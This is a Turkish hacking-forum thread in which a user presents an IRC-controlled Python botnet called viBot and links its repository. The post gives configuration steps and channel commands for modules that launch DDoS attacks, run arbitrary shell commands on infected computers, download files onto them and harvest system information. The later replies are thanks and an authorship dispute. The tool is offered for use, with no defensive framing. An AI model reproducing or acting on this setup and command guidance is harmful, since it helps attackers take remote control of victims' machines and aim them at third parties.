İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

IRC Tabanlı Modüler Botnet - Portsuz

b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
30-06-2017 11:20
#1
IRC Tabanlı Modüler Botnet
Merhaba arkadaşlar,

Botnet deyince, bir çok kişinin aklına "bir çok bilgisayar ile bir hedefe DDoS saldırısı yapmak için yazılan yazılım" geliyor. Bu amaçla kullanılabilecek olsa da, eksik bir tanımdır. Türkçe karşılığına "Robot ağı" diyebiliriz. Çok sayıda makineye / bota eş zamanlı komut verip, çalıştırabilme gücü verir size botnetler.

Haberleşme olayı için IRC sunucuları kullanıldı. Bu sayede port yönlendirmesi olmadan yönetici ve client(ler) arasında veri aktarımı yapabiliyoruz.

IRC: https://tr.wikipedia.org/wiki/IRC
Botnet: https://tr.wikipedia.org/wiki/Botnet

GitHub: https://github.com/blackvkng/viBot

Clientin Ayarlanması

Programı kullanmadan önce, IRC hakkında biraz bilginizin olması gerekiyor. Yukarıda verdiğim link ve biraz ek araştırma ile çözebilirsiniz olayı, çok zor değil.

Programda değiştirmeniz gereken değişkenler,



Ben Sunucu olarak Freenode kullandım.
"SERVER" değişkenin aldığı değere bakarsanız, Freenode kullandığımı görürsünüz. İsterseniz bu değeri değiştirebilirsiniz.
"TARGET" değişkenini değiştirmemelisiniz, programda bulunan dos modülünün sağlıklı çalışabilmesi için default olarak o değer atandı.
"CHNL" değişkenine, botun ve bizim Freenode üzerinden giriş yapacağımız kanalı atadık. Bunu kendi istediğiniz bir isimle değiştirebilirsiniz.
"PORT" değişkeni, yine dokunmamanız gereken bir değişken.(IRC Default Port)
"BASE" değişkeni, çok önemli bir değişken. Bu emir alacağı kişinin nicki. Bu değişkene istediğiniz değeri verdikten sonra kanala giriş yapmadan önce "/nick <önceden belirlenen nick>" şeklinde sunucuya kullanmak istediğiniz nicki belirtmelisiniz. Aksi takdirde botları kontrol edemezsiniz.
"NICK" değişkeni, kanala girecek olan botun nicki oluyor. Burada "getpass.getuser()" kullanarak, botun bulunduğu bilgisayarın kullanıcı adını kullanarak kanala giriş yapmasını sağlayabilirsiniz ki bunu tavsiye ederim.

Artık kullanıma hazır, herhangi ek bir kütüphaneye gerek yok, program tamamen standart kütüphaneler kullanılarak yazıldı. Şimdi botu çalıştırıp, IRC client aracılığı ile kanala bağlanıp botlarımızı kontrol edelim.

ASCIINEMA: https://asciinema.org/a/126356


Kanala girişi göstermek için, böyle bir kayıt aldım. Çok daha açıklayıcı olacağını umuyorum yazılı anlatımdan. Ben IRC client olarak "irssi" kullanıyorum, siz HexChat(GUI), weechat vs. kullanabilirsiniz. Hiç olmadı, kiwiirc.com üzerinden botları kontrol edebilirsiniz. Bu arada, Android üzerine bir IRC client kurarsanız botları Android üzerinden de kontrol edebilirsiniz!

Kullanım / Özellikler - Modüller

IRC kanalına girdikten sonra, bulunan modüllerin kullanımı şu şekildedir,
#viBotChannel --> [modül] [argümanlar]
Önce kullanılacak modül adı sonra da modüle gönderilecek argümanları belirtiyoruz.

Sahip Olduğu Modüller

Dos modülü
Bu modül, belirlediğiniz bir hedefe, kanalda bulunan tüm botlar ile DDoS saldırısı başlatır.

Kullanımı
#viBotChannel: dos set target Google
#viBotChannel: dos start
Execute modülü
Bu modül, botların bulunduğu bilgisayarda argüman olarak verdiğiniz komutu çalıştırır ve çıktısını size gönderir.

Kullanımı
#viBotChannel: execute ls -la /usr/bin
Popup modülü
Bu modül, argüman olarak verdiğiniz mesajı, botun ekranında gösterir.

Kullanımı
#viBotChannel: popup test message to channel!
Wget modülü
Bu modül, URL’sini verdiğiniz dosyayı belirlediğiniz isimde botun bilgisayarına indirir.

Kullanımı
#viBotChannel: wget Client Validation test.jpg
Info modülü
Bu modül, botun çalıştığı sistem hakkında bilgi verir.

Kullanımı
#viBotChannel: info
Python biliyorsanız, kendiniz de ekleyebilirsiniz modül. Bir de nasıl modül ekleyebileceğimize bakalım.

Nasıl yeni modüller ekleyebilirim?

Kolay bir şekilde kendi yazdığınız modülleri programa ekleyebilirsiniz. Size anlatmak amacı ile programın "info" modülünü yazalım. Bu modül, bize botun çalıştığı bilgisayar hakkında bilgi verecek. Aşağıda modülün kodları yer alıyor. Bilgisayarın bilgilerini bir liste olarak döndüren bir "run" fonksiyonu var.



Modülü yazdığımıza göre hemen ana scriptimiz olan "viBot" scriptine import edip gerekli düzenlemeleri yapalım.
from modules import info
Satırı ile ana scripte aktardık modülü.



Şimdi, eğer "BASE" değişkenine atadığımız nickin sahibinden gelen mesajın ilk kelimesi "info" ise yani yöneticinin çalıştırmak istediği modül "info" modülüyse ve gelen mesej "priv" yani sadece bana geldiyse, "sysinfo" değişkeninin değerini, "info.run()" fonksiyonunun döndürdüğü değere eşitle. Arıdan, bu değişkeni yöneticiye gönder.

Modül hazır, hemen test edelim.



Modülümüz görevini yerine getirdi, sorunsuz çalışıyor.

Ekran Görüntüleri - Video

Dos Modülü


Info Modülü


Wget Modülü


Popup Modülü


Execute Modülü


Hızlandırarak izlemenizi öneririm.

Takıldığınız bir yer olursa, bilgim neticesinde yardımcı olmaya çalışırım.
Konu b0mb tarafından (07-01-2018 21:21 Saat 21:21 ) değiştirilmiştir.
Vysion1453, Pentester, BufGix, xAesir Teşekkür etti.
iHaSaHi - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Nereden:
Ğ‚¬ºÙ
Mesajlar:
1.493
Konular:
124
Teşekkür (Etti):
47
Teşekkür (Aldı):
216
Ticaret:
(0) %
30-06-2017 11:21
#2
Hocam kodları KOD diye bir seçen var onla yapar mısınız daha vurgulayıcı olur
---------------------
.
────────────

⠀⠀⢠⡤⢺⣿⣿⣿⣿⣿⣶⣄
⠀⠀⠉⠀⠘⠛⠉⣽⣿⣿⣿⣿⡇
⠀⠀⠀⠀⠀⠀⠀⢉⣿⣿⣿⣿⡗
⠀⢀⣀⡀⢀⣀⣤⣤⣽⣿⣼⣿⢇⡄
⠀⠀⠙⠗⢸⣿⠁⠈⠋⢨⣏⡉⣳
⠀⠀⠀⠀⢸⣿⡄⢠⣴⣿⣿⣿
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⡟⡀
⠀⠀⠀⠀⠐⠘⣿⣶⡿⠟⠁⣴⣿⣄
⠀⠀⠀⠀⠀⠘⠛⠉⣠⣴⣾⣿⣿⣿⡦
⠀⠀⢀⣴⣠⣄⠸⠿⣻⣿⣿⣿⣿⠏
⠀⣠⣿⣿⠟⠁
────────────

.

b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
30-06-2017 11:22
#3
Alıntı:
iHaSaHi´isimli üyeden Alıntı Mesajı göster
Hocam kodları KOD diye bir seçen var onla yapar mısınız daha vurgulayıcı olur
Kod yok, resim var.
Vysion1453 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2016
Nereden:
of Darkness.
Mesajlar:
357
Konular:
9
Teşekkür (Etti):
114
Teşekkür (Aldı):
66
Ticaret:
(0) %
30-06-2017 12:27
#4
Eline emeğine sağlık
---------------------
R6v9Bq8fsPM
Black-Thund€r - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2013
Mesajlar:
1.001
Konular:
131
Teşekkür (Etti):
696
Teşekkür (Aldı):
108
Ticaret:
(0) %
30-06-2017 12:43
#5
alıntı ibaresini koymamışsınız bu konu size ait değil farklı bir hack forumundaki adama ait
b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
30-06-2017 12:45
#6
Alıntı:
Black-Thund€r´isimli üyeden Alıntı Mesajı göster
alıntı ibaresini koymamışsınız bu konu size ait değil farklı bir hack forumundaki adama ait
O kişi benim
tetikçi_sanat Teşekkür etti.
Black-Thund€r - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2013
Mesajlar:
1.001
Konular:
131
Teşekkür (Etti):
696
Teşekkür (Aldı):
108
Ticaret:
(0) %
30-06-2017 12:51
#7
Alıntı:
b0mb´isimli üyeden Alıntı Mesajı göster
O kişi benim
tamam öyleyse kusura bakma
B4SKAN - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2017
Mesajlar:
189
Konular:
32
Teşekkür (Etti):
18
Teşekkür (Aldı):
4
Ticaret:
(0) %
30-06-2017 12:59
#8
Eline sağlık
Pentester - ait Kullanıcı Resmi (Avatar)
Researcher
Üyelik tarihi:
09/2016
Mesajlar:
1.169
Konular:
89
Teşekkür (Etti):
613
Teşekkür (Aldı):
484
Ticaret:
(0) %
30-06-2017 13:06
#9
Ellerine sağlık, Ömer.
---------------------
"Benim naçiz vücudum, bir gün elbet toprak olacaktır. Fakat Türkiye Cumhuriyeti, ilelebet payidar kalacaktır."
Mustafa Kemal ATATÜRK

Yapabildiğimiz her şeyi yapsaydık, buna kendimiz bile şaşardık.
b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
30-06-2017 13:11
#10
Alıntı:
Pentester´isimli üyeden Alıntı Mesajı göster
Ellerine sağlık, Ömer.
Eyw, Eray.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı